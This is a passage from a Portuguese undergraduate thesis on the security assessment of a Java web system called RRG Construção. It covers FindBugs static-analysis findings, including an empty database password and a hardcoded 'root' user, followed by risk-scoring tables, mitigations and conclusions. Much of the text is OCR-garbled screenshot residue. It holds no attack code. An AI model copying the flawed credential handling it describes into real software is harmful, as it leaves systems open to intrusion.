store to local variable). Ha, também, a coluna priority, Figura 5.55, que indica a confianga de
que o bug encontrado é realmente um bug variando de 1 (maior confianga) a 5 (menor confianga),
abbrev que € a abreviacdo dos tipos de bugs, category que agrupa os tipos de bugs em uma
classificagdo, como: bad practice, classname que indica o nome da classe onde se encontra o
erro. E a coluna rank que indica a gravidade do bug encontrado. Ela varia de 20 (o mais baixo)
para 1 (o maior), sendo que de 1 a 4 é o mais assustador, 5 a 9 assustador, 10 a 14 incomodo,
15 a 20 preocupante. Por fim, a coluna fotal_bugs, na Figura 5.56, mostra o nimero de bugs
encontrados.

Segue o resultado do relatério demonstrado nas Figuras 5.54, 5.55, 5.56. O relatério
completo pode ser visto no link: https://github.com/michelclemer/TCC.
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Figura 5.54 Resultado da analise de c6digo
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Figura 5.55 Resultado da andlise de c6digo
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total_classes ~ | total_bugs + | num_package: - | java_version ~ |vm_version | cpu_secon| - | clock seconds | ~ | package - |t
27 112 21.8.0 251 25.251-b08 4,88 588,8 Control
27 112 21.8.0 251 25.251-b08 4,88 588,8 Control
27 112 21.8.0 251 25.251-b08 4,88 588,8 Control
27 112 21.8.0 251 25.251-b08 4,88 588,8 Control
27 112 21.8.0 251 25.251-b08 4,88 588,8 Control
27 112 21.8.0 251 25.251-b08 4,88 588,8 Control
27 112 21.8.0 251 25.251-b08 4,88 588,8 Control
27 112 21.8.0 251 25.251-b08 4,88 588,8 Control
27 112 21.8.0 251 25.251-b08 4,88 588,8 Control
27 112 21.8.0 251 25.251-b08 4,88 588,8 Control
27 112 21.8.0 251 25.251-b08 4,88 588,8 Model
27 112 21.8.0 251 25.251-b08 4,88 588,8 Model
27 112 21.8.0 251 25.251-b08 4,88 588,8 Model
27 112 21.8.0 251 25.251-b08 4,88 588,8 Model
27 112 21.8.0 251 25.251-b08 4,88 588,8 Model
27 112 21.8.0 251 25.251-b08 4,88 588,8 Model
27 112 21.8.0 251 25.251-b08 4,88 588,8 Model
27 112 21.8.0 251 25.251-b08 4,88 588,8 Model
27 112 21.8.0 251 25.251-b08 4,88 588,8 Model
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27 112 21.8.0 251 25.251-b08 4,88 588,8 Model
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Figura 5.56 Resultado da andlise de cédigo

Os bugs identificados foram categorizados em: bad practice, experimental ,performance,
security e dodgy code. Na Figura 5.57 hd o bug: auséncia de senha no banco de dados
categorizado como Security. Esse € um grande problema, pois um banco sem senha ou com uma

senha facil pode ser facilmente invadido culminando em prejuizos.

Group bugs by: [ Category | Bug Pattern | <> | Designation | Bug Rank | Bug Kind

[=3 Bugs (112)
-] Bad practice (39)
- [ Field names should start with a lower case letter (2)
& [ Method mayfail to close database resource (37)
o ] Experimental (56)
o [ Performance (4)
¢ [ Security (9)
¢ [ Emply database password (1)
O [Empty database password in Model DataBaseDAO.conectar()|
- [ A prepared statement is generated from a nonconstant String (3)
- 7 Dodgy code (4)

av
| Mo cloud selected e — 1= H Next Previous
av

Empty database password

Al DalaBaseDAO javailine 24]

In method Mode! DataBaseDAO conectar()

4
» Empty database password
This code creates a database connect using a blank or emply password. This indicates that the database is not protected by a password

Bug kind and pattern: Dm - DM|_EMPTY_DB_PASSWORD

httrviffindbiins sourcaforna nat

Figura 5.57 Problema 1: Auséncia de senha no banco de dados
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Outro problema, destacado na Figura 5.58, € a inicializacdo de atributos com letras
maiusculas categorizado como Bad practice. A ferramenta indica a linha de cddigo onde esta
localizada o erro. Ela estd no pacote Model, arquivo Java FolhaDePagamento, na linha private

Funcionario . Este atributo deveria inicializar com letra minudscula.

Group bugs by: [ Category | Bug Pattern | > [ Designation | Bug Rank | Bug Kind |

[=3 Bugs (112)
¢ 7 Bad practice (39)
¢ [ Field names should start with a lower case letter (2)
@ rThe field name Model FolhaDePagamento Funcionario doesn't start with a lower case lefter|
@ Tne field name Model. Funcionario.Endereco doesn' start with a lower case letier
©= [ Method may fail to close database resource (37)
o (7 Experimental (56)
o [ Performance (4)
o [ Security (9)
o 7 Dodgy code (4)

s
| o cloud selected — 1 ([ [ ena | [ newt Previous

av
e y
;’niur::\anDn:PrgeaF;Igf‘Ee:;gamemn Funcionario doesnt startwith alowi{| Fje| names should start with a lower case letter
£ L Names of fields that are notfinal should be in mixed case with a lowercase first letter and the first letiers of subsequent words capitalized.
Field Model FolhaDePagamento. Funcionario

Bug kind and pattern: Nm - NM_FIELD_NAMING_CONVENTION

Figura 5.58 Problema 2: Bad Practice

O terceiro problema localizado na Figura 5.59 € categorizado como Dogdy Code. O
problema € o armazenamento morto para variavel local (Dead store to local variable). Isso
significa que no c6digo, no pacote Control, arquivo GerenciarMenuPerfil, a instrucdo Perfil

novo = new Perfil(); atribui um valor a uma varidvel local, mas o valor nao € lido ou usado em

nenhuma instruc¢ao.

Group bugs by: [ Category | Bug Pattern | <> [ Designation | Bug Rank | Bug Kind

[=3 Bugs (112}
$ [ Bad practice (39)
o [T Field names should start with a lower case letter (2)
- [ Method may fail to close database resource (37)
o [ Experimental (56)
& [ Performance (4)
o [ Securty (9)
%3 Dodgy code (4)
9] Dead store to local variable (3)
O [pead store to novo in Control.
© Dead store ta novo in Control. ! 4 ! i

@ Dead store ta uin Control Gerenciarl ogin
o= [ Write to static field from instance method (1)

=~
e 1] || | Fna | [ wext |[ previous |

| N0 cloud selected
av

4 N
TETHEERBACT » |Dead store to local variable
At GerenciarMenuPerfil javalline 50]
In method Control it This instruction assigns a value to a local variable, but the value is not read or used in any subseguent instruction. Often, this indicates an error, because the value
"HPS | computea s never usea

Local variable named novo

Note that Sun's javac compiler often generates dead stores for final local variables. Because FindBugs is a bytecode-based tool, there is no easy way to eliminate these

false positives.

Bug kind and pattern: DLS - DLS_DEAD_LOCAL_STORE
<« 1 [»

Figura 5.59 Problema 3: Dodgy Code

O quarto problema € falha do método na limpeza do fluxo ou recurso (Method may fail to
clean up stream or resource) categorizado como experimental **. O método PreparedStatement

pstm = conn.prepareStatement(sql); utilizado para usado para executar instrucao sql no java

24A categoria experimental recebe esse nome porque sio bugs que estio obtendo feedback dos usudrios quanto a
utilidade da padronizagdo do bug
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pode falhar ao limpar um objeto do banco de dados ou outro recurso que exija uma operagdo de
limpeza explicita. A Figura 5.60 apresenta o problema de Method may fail to clean up stream

or resource.

Class name filter: ‘ H Filter ‘:

Group bugs by: [ Category | Bug Kind | Bug Pattern | & [ Bug Rank | De]

© Wodel.ContratoDAO gravar(Gontrato) may fail to clean up ja4]
© Wodel FolnaDePagamentoDAQ listar() mayfail to clean up
© Wodel.FolhaDePagamentoDAO listar() mayfail to clean up
© Hodel FolhaDePagamentoDAO.getCarregaPoriD(int) may
O Wodel FolnaDePagamentoDAO.getCarregaPoriD(int) may 1

© Wodel.FolnaD: DAO. 0

© Model.FolhaD DAQ g1 I o

Q Hodel Fi DAO.listar() may fail to clean up java.s Ly~
q] Il I ]
av
[No cloud selected Enable cloud plugin... |~

L]

5 [ \‘ Next H Previous

: Method may fail to clean up stream or resource

This method may fail to clean up (close, dispose of) a stream, database object, or other resource requiring an explicit cleanup operation

In general, if a method opens a siream or other resource, he method sheuld use a tnyfinally bleck to ensure that the stream o resource is deaned up before the method
retums.

This bug pattern is essentially the same as the OS_OPEN_STREAM and ODR_OPEN_DATABASE_RESOURCE bug patters, butis based on a different (and hopefully
better) static analysis technique. We are inferested is getting feedback aboutthe usefulness of this bug pattern. To send feedback, ither.

send email to findbugs@cs.umd.edu

file a bug repert http:/findbugs sourceforge.net/reportingBugs.himl

In particular, the false-positive suppression heuristics for this bug pattern have not been extensively tuned, s reporis about false positives are helpful to us

See Weimer and Necula, Finding and Preventing Run-Time Error Handling Mistakes, for a description of the analysis technique

avw

getCarregaPoriD(int) may fail to clean up java.sql.ResultSet
Obligation to clean up resource created at FolhaDePagamentoDAO javal
In methed Wodel. FolhaDePagamentoDAQ.getCarregaPoriD(int)
Reference type java.sql. ResultSet

1 instances of obligation remaining

Path continues at FolhaDePagamentoDAQ java:fline 40]

Path continues at FolhaDePagamentoDAQ java:fline 42]

Path continues at FolhaDePagamentoDAQ java:fline 49]

Path continues at FolhaDePagamentoDAQ java:fline 50]

Remaining obligations: {Statementx 1 ResultSetx 13

Bug kind and pattern: OBL - OBL_UN SATISFIED_OBLIGATION

Figura 5.60 Problema 4: Method may fail to clean up stream or resource

O quinto problema na categoria performance € Campo nao lido: esse campo deve ser
estatico (Unread field: should this field be static). Localizado na linha codigo final String USER
= "root";. O valor final indica que o campo ndo pode ter seu conteido alterado depois de
inicializado. Assim, esse valor € inicializado para cada instancia da classe no momento da sua
criacdo, porém com a modificagdo desse campo para estatico (static) o valor estard disponivel
na classe de forma tnica para toda a aplicagdo. Ele ndo estard vinculado a uma instancia da
classe, ou seja, ele € compartilhado por todas as instancias (objetos) desta classe criadas durante
a execugdo da aplicacdo. Logo, essa mudanga garante maior otimizacdo do sistema. A Figura

5.61, a seguir apresenta o problema de Unread field: should this field be static.



134 APRESENTACAO E ANALISE DOS RESULTADOS

Class name filter: ‘ ‘l Filter ‘:

Group bugs by: [ Category | Bug Kind | Bug Pattern | > | Bug Rank | De]

& [ Experimental (56) =
% [ Performance (4 B
o~ [ string concatenation in laop using + aperator (1)
% [ Unreadfield should be static (3)
(27 Unread field: should this field be static? (3)
O |[Unread field: Model. DataBaseDAO.URL; should this field b
© Unread field: Model DataBaseDAO.USER; should this field
© Unread fielo: Model DataBaseDAQ.SENHA: should this fiel
1l | [

[« 1

4]
av

No cloud selected Enable cloud plugin... |*

L]

=l \ Next Previous

4 " .
»|Unread field: should this field be static?
This class contains an instance final field that is initialized to a compile-time static value. Consider making the field static.

av
Unread field: DataBaseDAD.URL; shauld this field be static?
At DataBaseDAO javaiine 15]

Field Model DataBaseDAO.URL

Bug kind and pattern: SS - SS_SHOULD_BE_STATIC

w UNIVERSITY OF
S S & MARYLAND

Figura 5.61 Problema 5:Unread field: should this field be static

5.8 Analise de riscos

= Discussdo de questdes de seguranca:

ApOs a realizagdo de testes de seguranca, como testes de penetracdo e andlise de
codigo foram constatadas algumas vulnerabilidades, tais como: auséncia de senhas
ou de senhas fortes, falha no servidor Glassfish, auséncia de criptografia nos dados
trafegados da rede e facil acesso aos diretdrios raizes do sistema, apresentados na
Secdao 5. Sendo que algumas dessas vulnerabilidades foram listadas na Secao 4,
entretanto nessa Secao de testes, elas foram comprovadas por meio de métodos e
técnicas, consoante as Secoes 5.6.3 ¢ 5.6.4. Assim, por meio desses resultados

apresentados fica comprovado a inseguranca do sistema RRG Construcio.

= Probabilidade e impacto:

Na etapa anterior foram apresentadas as vulnerabilidades demonstradas nos testes de
penetracdo e andlise de codigo. Ja nesta etapa € determinado a probabilidade, de 1 a
10, onde 1 € a probabilidade mais baixa e 10 € a mais alta de ocorréncia de exploragdo.
Quanto ao impacto, pontuagdo de 1 a 10, € determinado pelos efeitos causados nos
ativos da empresa. A vulnerabilidade de auséncia de senha possui probabilidade de
ocorréncia de 10 pontos. J4 o impacto de auséncia de senha é categorizada como
revelacdo de informacao, logo, a sua pontuacdo € 10, pois essa ameaga permite que
0 invasor passe-se por outra pessoa tendo impactos enormes sobre os negdcios da

empresa.

Outra vulnerabilidade € a falha no servidor Glassfish que possui probabilidade de

10 pontos, pois 0 mesmo trata-se de um servidor de aplicagdo. Apesar de exigir
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conhecimento técnico para a exploracio dessa vulnerabilidade ficou claro, nas secdes
anteriores, que esse servidor possui senha padriao o que torna mais fécil a sua explora-
¢do. O impacto dela é de 10 pontos, pois € categorizada como elevagao de privilégios.
A terceira € a auséncia de criptografia nos dados trafegados da rede que possui
probabilidade de 10 porque basta o invasor utilizar de um sniffer para interceptar
informacdes sensiveis. Por fim, a vulnerabilidade de facil acesso aos diretdrios raizes
do sistema possui impacto de 10 pontos, categorizada como revelacdo de informacao,
pois ela possibilitaria ao invasor acesso a pastas importantes e delicadas do sistema.

A probabilidade € de 8, pois exigiria um conhecimento técnico do invasor. Segue a

Tabela 5.6.
Tabela 5.6 Tabela de Probabilidades e Impactos

Ameacas Categoria Probabilidade | Impacto
Auséncia de senhas ou de senhas | Revelagdo de Informagao 10 10
fortes
Falha no GlassFish Elevacdo de Privilégios 10 10
Auséncia de Criptografia nos da- | Revelag@o de informacao 10 8
dos trafegados
Acesso indevido ao diretério raiz | Revelag¢do de informacao 8 10
do sistema

» Classificacdo de riscos:

Em seguida as determinagdes de probabilidades e impactos das vulnerabilidades, é
necessario uma classificagc@o de tais riscos. Em vista disso, € apresentado a tabela de

classificacdo de riscos das vulnerabilidades encontradas durante os testes, (Tabela

5.7).
Tabela 5.7 Tabela de Classificacdo de Riscos
Vulnerabilidades | Dano Reproduzibili-| Explorabilidade | Usudrios Possibilidade | TOTAL
Potencial dade afetados de ser des-
coberto

Auséncia de se- | 10 10 10 10 8 9.6
nhas
Falha no servi- | 10 8 8 10 10 9.2
dor Glassfish
Auséncia de | 8 10 9 10 10 9.8
criptografia
nos dados tra-
fegados na
rede
Acesso aos dire- | 10 8 8 10 10 9.2
térios raizes do
sistema

Na Tabela 5.7, as vulnerabilidades com pontuacdo 10, na coluna “Dano Potencial”,
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indicam que o invasor pode facilmente acessar o sistema ou dados confidenciais.
Na vulnerabilidade “Auséncia de criptografia nos dados trafegados na rede ” possui
pontuacdo 8 porque nem todos os dados trafegados sdo informagdes sensiveis. Ja
a coluna “Reproduzibilidades”, as vulnerabilidades com pontuagdo 8 significam
que possuem falhas de seguranga, por exemplo: “Falha no servidor Glassfish”, mas

necessitam de certo conhecimento para sua exploracgao.

A coluna “Explorabilidade” possui pontuacdes 8, 9 e 10. Os niimeros 9 e 10 indicam
que essas vulnerabilidades sao facilmente exploradas por meio de acesso remoto ou
automatizados por meio de scripts, ja demonstrado na Secdo 5. Na coluna “Usudrios
afetados”, todas as vulnerabilidades receberam a pontuacao de 10 pontos porque elas
afetam diretamente um grande nimero de usudrios sendo todos. Por fim, a coluna
“’Possibilidade de descoberta”, a vulnerabilidade “Auséncia de senhas” possui a
indicacdo 8 porque um invasor porque roubar senhas e o usudrio ndo se aperceber de

tal acdo.

Estratégias de mitigacdo e relatos de descobertas:

Ap0s a classificacao de risco, s@o apresentados as técnicas de mitigacdes para tais

vulnerabilidades. Em seguida € apresentado a Tabela 5.8.

Tabela 5.8 Tabela Mitigacdo de Ameacas

Ameacgas Técnicas ou Tecnologias
Auséncia de senhas ou de senhas fortes Politicas de senhas
Falha no servidor Glassfish Atualizag@o do servidor e outros sistemas

Auséncia de criptografia nos dados trafe- | Utilizar SSL/TLS

gados

Facil acesso aos diretdrios raizes do sis- | Configuracao adequada no servidor web

tema

para acesso a dreas ou arquivos necessa-
rios.

Portanto, através desse estudo ficou comprovado que o uso de boas préticas durante
o desenvolvimento mitigaria significativamente as vulnerabilidades no sistema RRG
Construgdes. Por exemplo: a constru¢do de modelagem de ameaca, casos de uso,
requisitos de seguranca, testes de penetracdo e anélise de codigo fonte apresentaram
fraquezas que poderiam ser identificadas e implementadas técnicas de mitigagao na
etapa de andlise de requisitos e desenvolvimento. Os autores GILLIAM et al. (2001) e
MCGRAW (2002) discorrem sobre o uso de boas préticas aliadas ao desenvolvimento
seguro de softwares, 10ogo, este estudo mostra-se em consonancia com os autores. Pois,
nas Secdes de 4 e 5 foram implementadas boas préticas, no sistema RRG Construcio,
que mostraram que com a realizacdo delas muitas vulnerabilidades poderiam ser

identificadas e consequentemente mitigadas.
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Diante dos resultados apresentados e comprovada a eficdcia das boas praticas no
desenvolvimento de software, é notdvel que muitos dos problemas apresentados na
introducdo, (Secdo 1), como: M4 gestdo no processo de desenvolvimento (ANTONIO,
2009); Vulnerabilidades no cédigo fonte (MCGRAW, 2002); Validacao de dados
incorretas; Displicéncia na documentacao do soffware e na arquitetura (EVANDRO,
2013) podem ser facilmente corrigidos pelas etapas de boas praticas que geram uma
boa documentagdo para o software a fim de posteriomente implementar melhorias
e realizar manutengdes. Os proximos passos da investigacdo sao a implementacao
dessas mitigacOes, dentre elas estdo: criptografia, certificado digital, politicas de

senhas, entre outros.
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Conclusoes e Trabalhos Futuros

O desenvolvimento do presente estudo tratou da andlise de seguranca do sistema RRG
Construgdo. Esse estudo possibilitou analisar a aplicagdo de boas préticas no desenvolvimento
seguro de software. Além disso, também permitiu a padronizagdo de técnicas para andlise de
seguranca que podem ser implementadas em outras aplicacdes web.

Ao construir as documentagdes de casos de uso, andlise de risco, requisitos de segurancga
e modelagem de amecas, apresentados na secio 4, foi possivel demonstrar que vulnerabilidades
podem ser identificadas desde a fase de andlise de requisitos. Também os testes de seguranca
conseguiram mostrar € comprovar as vulnerabilidades do sistema RRG Construcao permitindo
que os objetivos propostos fossem realmente alcangados.

Entretanto, para alcangar os objetivos propostos houveram dificuldades na elaboragao
dos testes. Uma delas foi a busca de material relacionado ao sistema, criado em Java, € suas
falhas. Por conta disso, os testes de validacdo de dados tiveram poucos resultados positivos que
pudessem somar uma possivel exploracao mais detalhada.

Além disso, a falta de servidores de e-mail e banco de dados, tiveram impacto nas
etapas de descobertas e exploragdo, pois nesses poderiam haver brechas passiveis de ataques. A
exploracdo teve um grande foco no servidor web, GlassFish, que apresenta uma falha critica de
seguranga para a versao instalada para esse teste.

Diante disso, temos em vista para os trabalhos futuros a implementagdo das documen-
tagdes discorridas nesse trabalho. Também, a atualizagdo de servidores e software a fim de
evitar as vulnerabilidades apresentadas e, por fim, implementar tecnologias de seguranga, como
certificado digital.

Essa metodologia posta na aplica¢do podera ser aplicada em outras eventuais aplicagdes
que nessecitarem de uma analise de seguranca detalhada.

Portanto, apesar das dificuldades no momento dos testes de penetracdo, o presente
trabalho conseguiu cumprir suas propostas e demonstrar a importancia de boas praticas durante
o desenvolvimento. E notério que a execucdo de tais testes e a redacao desses documentos ndo
foram faceis, muitas vezes trabalhosa e demorada. Contudo, os resultados compensam, pois ela

garante maior seguranca e economia de recursos.
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